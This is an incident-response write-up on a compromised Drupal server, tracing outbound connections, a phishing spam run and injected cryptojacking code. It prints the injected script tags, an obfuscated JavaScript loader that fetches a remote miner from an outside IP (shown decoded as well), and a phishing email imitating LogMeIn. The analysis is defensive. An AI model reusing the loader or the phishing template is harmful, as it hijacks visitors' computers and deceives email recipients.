

# Compromised Server Analysis

The webserver is 10.10.10.10 (Replaced the Public IP Address for privacy reasons). I also removed the actual website names and directories for privacy reasons as well.

We begin our analysis with some understanding of the network connections.

```
user@host:~$ sudo netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:3306             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22               0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:25               0.0.0.0:*               LISTEN
tcp        0      0 10.10.10.10:38252        204.188.217.106:80      ESTABLISHED
tcp        0      0 10.10.10.10:22           10.10.10.12:58172       ESTABLISHED
tcp        0      0 10.10.10.10:55387        204.188.217.106:80      ESTABLISHED
tcp6       0      0 :::80                    :::*                     LISTEN
tcp6       0      0 :::22                    :::*                     LISTEN
tcp6       0      0 :::25                    :::*                     LISTEN
tcp6       0      0 :::443                   :::*                     LISTEN
udp        0      0 10.10.10.10:123          0.0.0.0:*
udp        0      0 127.0.0.1:123            0.0.0.0:*
udp        0      0 0.0.0.0:123              0.0.0.0:*
udp        0      0 0.0.0.0:59028             0.0.0.0:*
udp        0      0 127.0.0.1:18120          0.0.0.0:*
udp        0      0 0.0.0.0:1812             0.0.0.0:*
udp        0      0 0.0.0.0:1813             0.0.0.0:*
udp        0      0 0.0.0.0:1814             0.0.0.0:*
udp        0      0 0.0.0.0:51414            0.0.0.0:*
udp6       0      0 fe80::219:b9ff:fe2c:123  :::*
udp6       0      0 :::1:123                 :::*
udp6       0      0 :::123                   :::*
```

We realize port 80 is being utilized. We try to find the processes using these connections

```
user@host:~$ sudo lsof -i tcp:80 -P -R
COMMAND      PID  PPID  USER   FD  TYPE  DEVICE  SIZE/OFF  NODE  NAME
/usr/sbin 26545    1 www-data  3u  IPv4  22142705    0t0  TCP    website.ca:55464->204.188.217.106:80 (ESTABLISHED)
/usr/sbin 26550    1 www-data  3u  IPv4  22105560    0t0  TCP    website.ca:38252->204.188.217.106:80 (ESTABLISHED)
apache2    27805    1   root    4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    27993  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    28066  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    28067  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    28447  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    28449  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    29256  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    29262  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    29373  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    29375  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
apache2    29436  27805 www-data  4u  IPv6  10024448    0t0  TCP    *:80 (LISTEN)
```

```
user@host:~$ sudo lsof -p 26545
```

| COMMAND  | PID   | USER     | FD  | TYPE | DEVICE             | SIZE/OFF | NODE     | NAME          |
|--|-------|----------|-----|------|--------------------|----------|----------|---------------|
| /usr/sbin  | 26545 | www-data | cwd | DIR  | 252,0              | 69632    | 3538945  | /tmp          |
| /usr/sbin  | 26545 | www-data | rtd | DIR  | 252,0              | 4096     | 2        | /             |
| /usr/sbin  | 26545 | www-data | txt | REG  | 252,0              | 10416    | 3017043  | /usr/bin/perl |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 43416    | 4981915  |               |
| /usr/lib/perl/5.18.2/auto/Socket/Socket.so                     |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 18728    | 4981918  |               |
| /usr/lib/perl/5.18.2/auto/IO/IO.so                             |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 43368    | 6946983  |               |
| /lib/x86_64-linux-gnu/libcrypt-2.19.so                         |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 141574   | 6947044  |               |
| /lib/x86_64-linux-gnu/libpthread-2.19.so                       |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 1071552  | 6946910  |               |
| /lib/x86_64-linux-gnu/libm-2.19.so                             |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 14664    | 6946980  |               |
| /lib/x86_64-linux-gnu/libdl-2.19.so                            |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 1840928  | 6947193  |               |
| /lib/x86_64-linux-gnu/libc-2.19.so                             |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 1608280  | 3017046  |               |
| /usr/lib/libperl.so.5.18.2                                     |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | mem | REG  | 252,0              | 149120   | 6947052  |               |
| /lib/x86_64-linux-gnu/ld-2.19.so                               |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | 0r  | CHR  | 1,3                | 0t0      | 6368     | /dev/null     |
| /usr/sbin  | 26545 | www-data | 1w  | FIFO | 0,8                | 0t0      | 22105555 | pipe          |
| /usr/sbin  | 26545 | www-data | 2w  | REG  | 252,0              | 14135    | 10751213 |               |
| <b>/var/log/apache2/error.log</b>                              |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | 3u  | IPv4 | 22143052           | 0t0      | TCP      |               |
| <b>website.ca:55789-&gt;204.188.217.106:http (ESTABLISHED)</b> |       |          |     |      |                    |          |          |               |
| /usr/sbin  | 26545 | www-data | 6u  | unix | 0xffff88022e742c00 | 0t0      | 22105553 | socket        |

Based on the outputs above, we can be for certain that the webserver is compromised. But, there are three sites being hosted in this server:

- <https://some.other.website.ca>
- <https://www.website.ca>
- <https://subdomain.website.ca>

The Files for each site are in **/var/www/** directory

```
user@host:/var/www$ ls -la
```

```
total 56
drwxr-xr-x 13 root    root    4096 Sep 10 22:37 .
drwxr-xr-x 13 root    root    4096 Feb 28  2017 ..
drwxr-xr-x  5 root    root    4096 Oct  3  2016 alg.old
drwxr-xr-x  8 root    root    4096 Aug 23  2013 corporatclean
drwxr-xr-x  2 root    root    4096 Jul 17  2012 demo
drwxr-xr-x  2 root    root    4096 Feb  1  2017 html
drwxr-xr-x 11 www-data www-data 4096 Sep  3 23:52 subdomain
drwxr-xr-x  5 root    root    4096 Nov 29  2017 nal
drwxr-xr-x  2 root    root    4096 Mar  3  2015 phpmyadmin
drwxrwxr-x  6 www-data www-data 4096 Feb  5  2018 site
drwxr-xr-x  8 root    root    4096 Feb 28  2017 site-wp-3.3
drwxr-xr-x  6 stack   stack   4096 Feb 28  2017 site-wp-3.5
drwxr-xr-x  6 stack   stack   4096 Feb 28  2017 site-wp-3.7
```

```
-rw-r--r-- 1 root      root      21 May  4 2012 test.php
```

Based on the user groups, we can safely remove <https://some.other.website.ca> server from the picture.

The **subdomain** directory were updated more recently than **site**, hence we start investigating with **subdomain** webserver.

Upon looking into the **subdomain** directory, we found one specific file recently updated.

```
user@host:/var/www/subdomain$ ls -la --full-time includes/
total 1804
drwxr-xr-x  4 www-data www-data  4096 2017-05-25 21:38:11.742771907 -0400 .
drwxr-xr-x 11 www-data www-data  4096 2018-09-03 23:52:29.924296116 -0400 ..
-rw-r--r--  1 www-data www-data 13816 2017-05-25 17:54:24.388035506 -0400 actions.inc
-rw-r--r--  1 www-data www-data 46913 2017-05-25 17:54:24.388035506 -0400 ajax.inc
-rw-r--r--  1 www-data www-data  1701 2017-05-25 17:54:24.388035506 -0400 archiver.inc
-rw-r--r--  1 www-data www-data 13664 2017-05-25 17:54:24.384035450 -0400 authorize.inc
-rw-r--r--  1 www-data www-data 17497 2017-05-25 17:54:24.388035506 -0400 batch.inc
-rw-r--r--  1 www-data www-data  2310 2017-05-25 17:54:24.380035393 -0400 batch.queue.inc
-rw-r--r--  1 www-data www-data 118488 2018-08-27 06:20:36.531461159 -0400 bootstrap.inc
-rw-r--r--  1 www-data www-data 19998 2017-05-25 17:54:24.384035450 -0400 cache.inc
-rw-r--r--  1 www-data www-data  2487 2017-05-25 17:54:24.384035450 -0400 cache-install.inc
-rw-r--r--  1 www-data www-data 302278 2017-05-25 17:54:24.384035450 -0400 common.inc
...
```

We found some cryptojacking scripts injected near the end of that file:

```
/var/www/subdomain/includes/bootstrap.inc
?><script type="text/javascript" src="//upgraderservices.cf/drupal.js"></script><?php^M
?><script type="text/javascript" src="//drupalupdates.tk/check.js"></script><?php^M
```

They were reported by others as well:

[https://twitter.com/bad\\_packets/status/1037416308336287744](https://twitter.com/bad_packets/status/1037416308336287744)

We removed the crypto mining scripts.

However, the webshell IRC connections still persisted. Also, we found that the SMTP port (on foreign endpoints) being used as well.

```
user@host:/var/www/subdomain$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address          State
tcp        0      0 0.0.0.0:3306             0.0.0.0:*                LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*                LISTEN
tcp        0      0 0.0.0.0:25              0.0.0.0:*                LISTEN
tcp        0      0 10.10.10.10:42191       98.137.157.43:25        TIME_WAIT
tcp        0      1 10.10.10.10:47567       192.64.147.176:25        SYN_SENT
tcp        0      1 10.10.10.10:48204       23.20.239.12:25         SYN_SENT
tcp        0      0 10.10.10.10:46017       67.195.228.87:25        TIME_WAIT
tcp        0      1 10.10.10.10:48211       23.20.239.12:25         SYN_SENT
tcp        0      0 10.10.10.10:50025       98.136.101.116:25        TIME_WAIT
tcp        0      1 10.10.10.10:49812       52.162.126.195:25        SYN_SENT
```

```

tcp      0      1 10.10.10.10:36409 185.53.178.8:25      SYN_SENT
tcp      0      1 10.10.10.10:48231 23.20.239.12:25      SYN_SENT
tcp      0      1 10.10.10.10:43103 207.148.248.145:25   SYN_SENT
tcp      0      1 10.10.10.10:58587 162.255.119.180:25   SYN_SENT
tcp      0 168 10.10.10.10:22    10.10.10.12:38580    ESTABLISHED
tcp      0      0 10.10.10.10:42186 98.137.157.43:25      TIME_WAIT
tcp      0      1 10.10.10.10:45291 68.178.213.61:25      SYN_SENT
tcp      0      0 10.10.10.10:37805 204.188.217.106:80    ESTABLISHED
tcp      0 2205 10.10.10.10:34654 216.120.254.206:25    ESTABLISHED
tcp      0      1 10.10.10.10:39909 184.168.131.241:25    SYN_SENT
tcp      0      1 10.10.10.10:48962 184.168.47.225:25     SYN_SENT
tcp      0      0 10.10.10.10:38409 98.136.96.73:25       TIME_WAIT
tcp      0      0 10.10.10.10:55883 216.251.100.19:25     ESTABLISHED
tcp      0      0 10.10.10.10:32777 204.188.217.106:80    ESTABLISHED
tcp      0      1 10.10.10.10:33846 159.8.40.50:25        SYN_SENT
tcp      0      1 10.10.10.10:47992 198.185.159.145:25    SYN_SENT
tcp      0      1 10.10.10.10:39920 184.168.131.241:25    SYN_SENT
tcp      0      0 10.10.10.10:37092 66.218.85.151:25      TIME_WAIT
tcp6     0      0 :::80              :::*                   LISTEN
tcp6     0      0 :::22              :::*                   LISTEN
tcp6     0      0 :::25              :::*                   LISTEN
tcp6     0      0 :::443             :::*                   LISTEN
udp      0      0 10.10.10.10:123    0.0.0.0:*
udp      0      0 127.0.0.1:123      0.0.0.0:*
...

```

We sniff some packets on the SMTP port:

```
user@host:/var/www/subdomain$ sudo tshark "port 25"
```

Running as user "root" and group "root". This could be dangerous.

tshark: Lua: Error during loading:

/usr/share/wireshark/init.lua:32: dofile has been disabled due to running Wireshark as superuser. See <https://wiki.wireshark.org/CaptureSetup/CapturePrivileges> for help in running Wireshark as an unprivileged user.

Capturing on 'eth0'

```

155 187.354503622 74.6.137.68 → 10.10.10.10 SMTP 171 S: 250 sender <www-data@www.website.ca> ok
| 250 recipient <atheneos@atheneoscafe.com> ok | 354 go ahead
156 187.354596107 10.10.10.10 → 74.6.137.68 SMTP 1514 C: DATA fragment, 1448 bytes
157 187.354605929 10.10.10.10 → 74.6.137.68 SMTP|IMF 853 subject:
=?UTF-8?B?TG9nTWVJbiB0b3RpZmljYXRpb24gLSBDb2lwdXRlciBJRDogMjg1I4NTczNSBkZWxldGVk?=?, from:
=?UTF-8?B?TG9nTWVJbi5jb20=?= <noreplay@logmein.com>, , , <p>Event: Computer deleted</p> ,
<p>If this is an error, use the link bellow to restore your computer back.</p> , <p><a
rel="nofollow noopener" target="_blank"
href="https://restore.logmein.click/pc/?e=bmV0LmFzc2FzeW5AeWFob28uY29t" style="outline: none;
color: #00aeef; font-weight: bold; text-decoration:
none;">http://restore.logmein.com/login.aspx?clusterid=YXRoZW51b3NAYXRoZW51b3NjYWZlLmNvbQ==</a><b
r /> <br /> Account holder: atheneos@atheneoscafe.com<br /> Computer ID: 5714726389 <br /> At:
21.12.2018 13:03:20<br /> From: 127.0.0.1 (localhost)<br /> <br /> LogMeIn Account Holders can
change notification settings by clicking their LogMeIn ID in the upper-right corner of LogMeIn
Central and then Account &gt; Security &gt; Account Audit.</p> , <p></p> , <p><span
style="color: #333333; font-family: arial, sans-serif; font-size: 11px; font-style: normal;
font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none;
white-space: normal; widows: 2; word-spacing: 0px; background-color: #ffffff;
text-decoration-color: initial; display: inline !important; float: none;">Copyright &copy;
2003-2018 LogMeIn, Inc.</span><a rel="nofollow noopener" target="_blank"
href="https://secure.logmein.com/policies/trademark.aspx" style="margin: 0px; padding: 0px;

```

```
border: 0px; font-style: normal; font-weight: 400; font-stretch: inherit; font-size: 11px;
line-height: inherit; font-family: arial, sans-serif; vertical-align: baseline; outline: 0px;
color: #0088ce; text-decoration: none; cursor: pointer; letter-spacing: normal; orphans: 2;
text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;
background-color: #ffffff;">All rights reserved.</a></p> , , ,
```

This provides evidence of phishing activity. Thus, removing the earlier cryptojacking scripts from **bootstrap.inc** was not enough.

Upon visiting the subdomain site's main page <https://subdomain.website.ca>, we noticed a javascript file trying to load on the background: **hhy6.js**

When inspecting the elements on the HTML page of the site, we found a hidden javascript tag code that has a suspicious link.

```
</div>
</div>
▼<div id="block-block-9" class="block block-block">
  ▼<div class="content">
    <script type="text/javascript" src="https://wt-23afbbf_-0.sandbox.auth0-extend.com/full-http-control"></script>
  </div>
</div>
</div>
</div>
```

We fetched the script for inspection purposes.

```
user@host:/var/www/subdomain$ wget http://wt-23...full-http-control
user@host:/var/www/subdomain$ cat full-http-control
var
_0x17e1=["script","createElement","type","text/javascript","readyState","onreadystatechange","loaded","complete","onload","src","appendChild","head","getElementsByTagName","http://146.185.234.113/hhY6.js","undefined","stop","_client","56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591bd8c7742","start"];function loadScript(_0x17a8x2,_0x17a8x3){var _0x17a8x4=document[_0x17e1[1]](_0x17e1[0]);_0x17a8x4[_0x17e1[2]]=_0x17e1[3];if(_0x17a8x4[_0x17e1[4]]){_0x17a8x4[_0x17e1[5]]=function(){if(_0x17a8x4[_0x17e1[4]]==_0x17e1[6]||_0x17a8x4[_0x17e1[4]]==_0x17e1[7]){_0x17a8x4[_0x17e1[5]]=null;_0x17a8x3()}}else{_0x17a8x4[_0x17e1[8]]=function(){_0x17a8x3()}};_0x17a8x4[_0x17e1[9]]=_0x17a8x2;document[_0x17e1[12]](_0x17e1[11])[0][_0x17e1[10]](_0x17a8x4)}loadScript(_0x17e1[13],function(){setTimeout(function(){if(typeof(miner)!=_0x17e1[14]){try{miner[_0x17e1[15]]()}catch(e){}};if(typeof(_client)!=_0x17e1[14]){try{_client[_0x17e1[15]]()}catch(e){}};document[_0x17e1[16]]=new Client.Anonymous(_0x17e1[17],{throttle:0.3});document[_0x17e1[16]][_0x17e1[18]](Client.FORCE_MULTI_TAB)},1000)})}
```

CLEANER VERSION:

```
var _0x17e1=
["script",
"createElement",
```

```

"Type",
"text/javascript",
"readyState",
"onreadystatechange",
"Loaded",
"Complete",
"onload",
"Src",
"appendChild",
"Head",
"getElementsByTagName",
"http://146.185.234.113/hhY6.js",
"Undefined",
"Stop",
"_client",
"56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591bd8c7742",
"Start"];
function loadScript(_0x17a8x2,_0x17a8x3){
    var _0x17a8x4 = document[_0x17e1[1]](_0x17e1[0]);
    _0x17a8x4[_0x17e1[2]] = _0x17e1[3];
    if(_0x17a8x4[_0x17e1[4]]){
        _0x17a8x4[_0x17e1[5]] = function(){
            if(_0x17a8x4[_0x17e1[4]] == _0x17e1[6] || _0x17a8x4[_0x17e1[4]] == _0x17e1[7]){
                _0x17a8x4[_0x17e1[5]] = null;_0x17a8x3();}}else {_0x17a8x4[_0x17e1[8]]=
            function(){_0x17a8x3();};_0x17a8x4[_0x17e1[9]]=
            _0x17a8x2;document[_0x17e1[12]](_0x17e1[11])[0][_0x17e1[10]](_0x17a8x4)}loadScript(_0x17e1[13],fu
            nction(){setTimeout(function(){if( typeof (miner) !=
            _0x17e1[14]){try{miner[_0x17e1[15]]()}catch(e){}};if( typeof (_client) !=
            _0x17e1[14]){try{_client[_0x17e1[15]]()}catch(e){}};document[_0x17e1[16]]= new
            Client.Anonymous(_0x17e1[17],{throttle:0.3});document[_0x17e1[16]][_0x17e1[18]](Client.FORCE_MULT
            I_TAB),1000)}}}

```

So, this link fetches some malicious script to load hhY6.js. We tried to translate the loadScript functions.

```

0x17e1[0] = "script"
0x17e1[1] = "createElement"
0x17e1[2] = "type"
0x17e1[3] = "text/javascript"
0x17e1[4] = "readyState"
0x17e1[5] = "onreadystatechange"
0x17e1[6] = "loaded"
0x17e1[7] = "complete"
0x17e1[8] = "onload"
0x17e1[9] = "src"
0x17e1[10] = "appendChild"
0x17e1[11] = "head"
0x17e1[12] = "getElementsByTagName"
0x17e1[13] = "http://146.185.234.113/hhY6.js"
0x17e1[14] = "undefined"
0x17e1[15] = "stop"
0x17e1[16] = "_client"
0x17e1[17] = "56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591bd8c7742"
0x17e1[18] = "start"

```

```

function loadScript(_0x17a8x2,_0x17a8x3){

```

```

var _0x17a8x4 = document["createElement"]("script");
_0x17a8x4["type"] = "text/javascript";
if(_0x17a8x4["readyState"]){
  _0x17a8x4["onreadystatechange"] = function(){
    if(_0x17a8x4["readyState"] == "loaded" || _0x17a8x4["readyState"] == "complete"){
      _0x17a8x4["onreadystatechange"] = null;
      _0x17a8x3()
    }
  }
}
else {
  _0x17a8x4["onload"] = function(){
    _0x17a8x3()
  }
};
_0x17a8x4["src"] = _0x17a8x2;
document["getElementsByName"]("head")[0]["appendChild"](_0x17a8x4)
}

loadScript("http://146.185.234.113/hhY6.js",function(){
  setTimeout(function(){
    if( typeof (miner) != "undefined"){
      try{miner["stop"]()}
      catch(e){}
    };
    if( typeof (_client) != "undefined"){
      try{_client["stop"]()}
      catch(e){}
    };
    document["_client"] = new
Client.Anonymous("56bc34061cd882609aab5de9d411b6e12be622137090334aa0697591bd8c7742",{throttle:0.3
});
    document["_client"]["start"](Client.FORCE_MULTI_TAB
    },1000)
  })
})

```

This script is trying to load more cryptojacking scripts. It has a similar resemblance to:  
<https://coinhive.com/documentation/miner>  
 But needs more investigation.

Drupal uses MySQL database to load HTML content from modules. The hidden malicious javascript code (found in HTML) is injected in a MySQL table: `block_custom` in database: `subdomainsite`

```

| 8 | <script type="text/javascript"
src="https://wt-23afbbf05d73a701c3ef54b49e4de14c-0.sandbox.auth0-extend.com/full-http-control"></
script>
| drupal update | php_code |
| 9 | <script type="text/javascript"
src="https://wt-23afbbf05d73a701c3ef54b49e4de14c-0.sandbox.auth0-extend.com/full-http-control"></
script>
| drupal updater | full_html |

```

We delete these rows from MySQL:

```
mysql> delete from block_custom where bid=8;
Query OK, 1 row affected (0.05 sec)
```

```
mysql> delete from block_custom where bid=9;
Query OK, 1 row affected (0.03 sec)
```

After deleting the rows, the footer code disappears, thus removing the malware from loading on the page

Also, when looking at MySQL command history:

```
user@host:/var/www/subdomain$ cat ~/.mysql_history
show databases;
use subdomainsite;
show tables;
show tables;
select column from users;
select * from users;
show cloumns from users;
show columns from users;
select mail from users;
show databases;
use subdomainsite;
select * from users;
show columns from users;
select * from users where mail like '@drupaler%';
select * from users where mail like '%@drupaler%';
delete from users where mail like '%@drupaler%';
select mail from users;
show databases;
use subdomainsite;
select mail from users;
select * from users where mail like '%brainhard%';
delete from users where mail like '%brainhard%';
select mail from users;
delete from users where mail like '%bee@addmyhome.com%';
delete from users where mail like '%canie.assassins-creed.org%';
delete from users where mail like '%quinn.adkins38@visitnorwayusa.com%';
delete from users where mail like '%menherbalenhancement.com%';
show databases;
use WordPressDB;
show tables;
describe wp_posts;
select * from wp_posts;
describe wp_posts;
show databases;
use subdomainsite;
select mail from users;
select * from users where mail like '%@drupaler%';
select * from users where mail like '%drupaler%';
```



```
select * from users where mail like '%drupal%';
select mail from users where mail like '%drupal%';
delete from users where mail like '%drupal%';
select mail from users;
use subdomainsite;
select mail from users;
show databases;
use WordPressDB;
show tables;
describe wp_users;
select * from wp_users; ...
```

Seems like they tried to delete their spamming email domains:

[https://www.pozzo-balbi.com/help/List\\_of\\_email\\_spamming\\_domains](https://www.pozzo-balbi.com/help/List_of_email_spamming_domains)

### Now, the webshell IRC connections and phishing activities stopped!

**CAUSE:** The current Drupal version (running on the webserver) has a vulnerability for XSS attacks. This was confirmed with **grabber** vulnerability scanner tool.

**SOLUTION:** Possible solution is to patch the Drupal system, but since we are not using the subdomain website, we can shutdown that domain.

## Cleaning up

Since we are not using the subdomain site, we shut it down:

```
vim /etc/apache2/sites-available/default-ssl.conf
```

```
#<VirtualHost _default_:443>
#   ServerAdmin admin@email.ca
#   ServerName subdomain.website.ca
#   # Indexes + Directory Root.
#   DirectoryIndex index.php
#   DocumentRoot /var/www/subdomain/
# ...
```

```
sudo service apache2 restart
```

For safety purposes, we block SMTP Port and stop the mail service:

```
sudo iptables -A INPUT -i eth0 -p tcp --destination-port 25 -j DROP
sudo /etc/init.d/postfix stop
```